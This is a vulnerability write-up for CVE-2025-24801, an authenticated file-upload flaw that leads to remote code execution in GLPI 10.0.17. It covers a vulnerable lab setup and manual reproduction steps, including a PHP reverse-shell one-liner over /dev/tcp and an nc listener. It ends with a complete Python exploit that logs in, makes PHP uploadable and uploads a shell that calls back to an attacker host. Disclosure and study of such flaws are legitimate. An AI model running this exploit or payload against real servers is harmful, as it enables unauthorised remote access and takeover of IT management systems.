GLPI Management Service:
GLPI (Gestionnaire libre de parc informatique) is an open source software tool that facilitates the tracking and management of hardware and software in IT infrastructures. In particular, it allows companies to regularly monitor their IT assets, network devices and software inventories. In addition, thanks to the support requests and issue tracking features offered by GLPI, users can quickly find solutions to the problems they encounter. Useful for both small and large organizations, this system makes user support processes more efficient and optimizes IT service management. GLPI's flexible structure makes it possible for organizations to customize it according to their needs.
Vulnerability Description:
GLPI version 10.0.17 allows an authenticated user to upload and run files with *.php extension on the server, but does not allow you to upload PHP files under default conditions. If this is changed in the config settings, RCE can be obtained by uploading php extension files in the ticket creation step.
CVE Exploit:
https://github.com/fatkz/CVE-2025-24801
Setting up the Vulnerable Environment:
Apache Setup:
sudo apt update
sudo apt install apache2 mariadb-server php php-mysql php-gd php-mbstring php-xml php-ldap php-curl php-zip php-json unzip
sudo systemctl enable apache2
sudo systemctl start apache2
MYSQL Setup:
sudo mysql -u root -p
CREATE DATABASE glpidb;
CREATE USER 'glpiuser'@'localhost' IDENTIFIED BY 'your_password';
GRANT ALL PRIVILEGES ON glpidb.* TO 'glpiuser'@'localhost';
FLUSH PRIVILEGES;
EXIT;
GLPI installation and authorization:
wget https://github.com/glpi-project/glpi/releases/download/10.0.17/glpi-10.0.17.tgz
Pull vulnerable version from github and do authorizations
tar -xvzf glpi-10.0.17.tgz
sudo mv glpi /var/www/html/
sudo chown -R www-data:www-data /var/www/html/glpi/
sudo chmod -R 755 /var/www/html/glpi/
Go to 127.0.0.1 and complete the institutions.
The user information created in MYSQL installation is entered and the installation is completed.
Vulnerability Reproducing Steps:
Login to the application with the created user information. Our next step will be to upload a php file in the ticket creation step.
Go to Assistance > Create Ticket page and try to upload the php file. It is seen that the application is not allowed to upload a php file.
Go to /front/documenttype.php and change the extension value of any of the registered file formats to php.
Go to the ticket page again and see that the php file has been uploaded successfully.
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/127.0.0.1/1234 0>&1'"); ?>
The PHP file was successfully uploaded and the ticket was created, but now we need to know where the file was uploaded. So go back to the application settings and see that the upload directory is /var/www/html/files/_tmp.
Go to http://localhost/files/_tmp and see the uploaded php file.
nc -lnvp {port}
The php file is executed by starting port listening.
and finally shell is taken.
Exploit:
https://github.com/fatkz/CVE-2025-24801
#!/usr/bin/env python3
import requests
import bs4
import argparse
import sys
def parse_args():
parser = argparse.ArgumentParser(description="PoC for CVE-2025-24801")
parser.add_argument('--url', required=True, help='GLPI base URL (e.g. https://target.com/glpi)')
parser.add_argument('--user', required=True, help='GLPI username')
parser.add_argument('--password', required=True, help='GLPI password')
parser.add_argument('--lhost', required=True, help='Attacker IP for reverse shell')
parser.add_argument('--lport', type=int, default=4444, help='Attacker port for reverse shell')
return parser.parse_args()
def login(session, base_url, username, password):
r = session.get(f"{base_url}/front/login.php")
if r.status_code != 200:
sys.exit(1)
soup = bs4.BeautifulSoup(r.text, 'html.parser')
token = soup.find('input', {'name':'_glpi_csrf_token'})['value']
payload = {'_glpi_csrf_token': token, 'login_name': username, 'login_password': password, 'redirect': ''}
r2 = session.post(f"{base_url}/front/login.php", data=payload)
if "login.php" in r2.url:
sys.exit(1)
def document_type_update(session, base_url):
url = f"{base_url}/front/documenttype.form.php?id=1"
r = session.get(url)
if r.status_code != 200:
sys.exit(1)
soup = bs4.BeautifulSoup(r.text, 'html.parser')
token = soup.find('input', {'name':'_glpi_csrf_token'})['value']
data = {
'is_recursive': '1', 'name': 'PHP Shell', 'comment': '', 'icon': 'php.png',
'is_uploadable': '1', 'ext': 'php', 'mime': '', 'update': '1', 'id': '1',
'_glpi_csrf_token': token
}
session.post(url, data=data)
def upload_shell(session, base_url, lhost, lport):
form_url = f"{base_url}/front/ticket.form.php"
r = session.get(form_url)
if r.status_code != 200:
sys.exit(1)
soup = bs4.BeautifulSoup(r.text, 'html.parser')
token = soup.find('input', {'name':'_glpi_csrf_token'})['value']
php_payload = f"<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'\"); ?>"
data = {'name': '_uploader_filename', '_showfilesize': '1'}
files = {'_uploader_filename[]': ('exploit.php', php_payload, 'application/x-php')}
headers = {'X-Glpi-Csrf-Token': token, 'X-Requested-With': 'XMLHttpRequest'}
upload_url = f"{base_url}/ajax/fileupload.php"
r2 = session.post(upload_url, data=data, files=files, headers=headers)
if r2.status_code != 200:
sys.exit(1)
return r2.json().get('name')
def main():
args = parse_args()
session = requests.Session()
login(session, args.url, args.user, args.password)
document_type_update(session, args.url)
shell_file = upload_shell(session, args.url, args.lhost, args.lport)
print(f"Uploaded shell: {shell_file}")
if __name__ == "__main__":
main()